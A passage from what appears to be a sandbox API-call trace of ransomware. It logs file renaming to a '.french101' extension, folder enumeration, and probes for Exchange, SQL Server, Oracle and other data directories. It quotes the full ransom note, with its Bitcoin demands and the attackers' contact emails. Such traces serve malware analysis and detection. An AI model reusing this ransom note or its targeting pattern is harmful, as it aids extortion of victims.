lpNewFileName="C:\\588bce7c90097ed212\\1029\\Xr9XWHD3q3c1Fg3i2Ii73VkXbJ58MuPdimNq3evBbo=DWA.french101" (normalized: "c:\\588bce7c90097ed212\\1029\\xr9xwhd3q3c1fg3i2ii73vkxbj58mupdimnq3evbbo=dwa.french101")) returned 1 [0276.925] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\Xr9XWHD3q3c1Fg3i2Ii73VkXbJ58MuPdimNq3evBbo=DWA.french101" (normalized: "c:\\588bce7c90097ed212\\1029\\xr9xwhd3q3c1fg3i2ii73vkxbj58mupdimnq3evbbo=dwa.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0276.925] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0276.925] CloseHandle (hObject=0x398) returned 1 [0276.925] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\Xr9XWHD3q3c1Fg3i2Ii73VkXbJ58MuPdimNq3evBbo=DWA.french101", dwFileAttributes=0x80) returned 1 [0276.925] CloseHandle (hObject=0x398) returned 0 [0276.925] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.925] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.925] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.926] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.926] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0276.926] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.926] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.926] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0276.926] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.926] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0276.926] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0276.926] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0276.926] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0276.926] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0276.926] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1029\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0276.926] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0276.926] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0276.927] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0276.927] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0276.927] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0276.927] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0276.927] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0276.927] CloseHandle (hObject=0x398) returned 1 [0276.927] FindNextFileW (in: hFindFile=0x6da350, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0276.927] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0276.927] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0276.927] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0276.927] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0276.927] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.927] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0276.927] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0276.927] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0276.927] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.927] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0276.927] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.928] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.928] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0276.928] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0276.928] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0276.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0276.929] FindNextFileW (in: hFindFile=0x6da350, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0276.929] GetLastError () returned 0x12 [0276.929] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0276.929] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0276.929] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0276.929] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.929] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0276.929] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0276.929] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0276.929] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.929] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0276.929] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.929] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0276.929] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0276.929] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0276.929] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0276.929] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0276.930] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.930] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0276.930] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0276.936] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0276.936] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.936] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0276.936] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.936] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.936] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0276.936] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0276.936] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0276.936] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.936] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.936] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.936] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.937] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0276.937] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.937] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.937] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0276.937] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.937] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.937] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0276.937] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0276.937] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0276.937] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0276.937] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0276.937] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.937] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0276.937] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0276.937] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0276.937] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.937] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0276.937] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.937] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.937] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0276.937] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0276.938] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0276.938] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.938] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.938] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.938] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.938] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0276.938] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.938] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.938] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0276.938] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.938] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.938] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0276.938] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0276.938] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0276.938] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0276.938] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0276.938] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.938] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0276.939] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0276.939] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0276.939] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.939] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0276.939] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.939] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.939] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0276.939] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0276.939] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0276.939] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.939] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.939] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.939] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0276.939] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0276.939] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0276.939] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.939] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0276.939] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.939] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.939] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0276.939] GetLastError () returned 0x12 [0276.940] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0276.940] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0276.940] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0276.940] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0276.940] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0276.940] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0276.940] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.940] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0276.940] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0276.940] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0276.940] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.940] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0276.940] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.940] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.940] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0276.940] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0276.940] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.941] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0276.941] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0276.941] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0276.941] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.941] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0276.941] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.941] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0276.941] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1030", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1030") returned 1 [0276.941] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0276.941] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0276.941] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.941] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0276.941] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0276.941] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0276.941] GlobalUnlock (hMem=0x3f4000c) returned 0 [0276.941] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0276.941] GlobalUnlock (hMem=0x3f40004) returned 0 [0276.941] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0276.942] GetLastError () returned 0x3 [0276.942] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0276.942] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0276.942] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0276.942] GetLastError () returned 0x2 [0276.942] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0276.943] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0276.943] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0276.943] GetLastError () returned 0x2 [0276.943] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0276.943] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0276.943] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0276.943] GetLastError () returned 0x2 [0276.943] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0276.943] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0276.943] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0276.943] GetLastError () returned 0x2 [0276.943] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0276.943] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0270, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0276.944] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0276.944] GetLastError () returned 0x2 [0276.944] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0276.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39ba0, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⷠm°") returned 6 [0276.944] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0276.944] GetLastError () returned 0x2 [0276.944] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1030\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1030\\") returned 0x1b [0276.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 